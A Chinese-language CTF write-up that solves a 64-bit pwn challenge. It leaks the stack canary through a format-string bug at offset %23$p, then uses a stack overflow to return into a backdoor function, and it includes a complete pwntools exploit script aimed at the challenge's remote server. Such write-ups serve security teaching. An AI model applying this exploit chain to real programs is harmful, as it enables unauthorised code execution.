题目连接 https://adworld.xctf.org.cn/media/task/attachments/532c53dce1ce4f5d88461e4c2a336468
友情连接 https://blog.csdn.net/yexiwen/article/details/89519393
64位的程序,并且开启了NX和Canary
执行一下文件看看流程,存在两个漏洞
用IDA看看 可以看到执行2的时候 存在字符串漏洞
扫描二维码关注公众号,回复:
7678670 查看本文章
按1的时候,存在栈溢出漏洞
看一下流程图和汇编可以知道readsqword这个地方有canary保护,只有 rax 和fs:28h 两个值相等的时候 才能跳转到返回值,反之则调用stak_chk_fail
同时还有一个后门函数
思路:利用这两个漏洞,首先利用字符串漏洞,泄露出canary的值,然后在函数要返回的时候再填回去,之后利用栈溢出,让其返回到后门函数
先看一下字符串的偏移
可以看到偏移了6个字节
确定canary和输入的参数之间的偏移
buf和v2相差了0x90-0x8=0x88,0x88/8=17, 17+6=23
因为64位的程序,每个格式化字符串都是8字节,同理32位是4字节
然后再利用栈溢出调用后门函数即可get flag
exp如下
from pwn import * r=remote('111.198.29.45',53501) r.recvuntil('3. Exit the battle') r.sendline('2') r.sendline('%23$p') r.recvuntil('0x') canary=int(r.recv(16),16) print (canary) flag_addr=0x4008da payload='a'*0x88+p64(canary)+p64(0xdeadbeef)+p64(flag_addr) r.recvuntil('3. Exit the battle') r.sendline('1') r.sendline(payload) r.interactive()
执行结果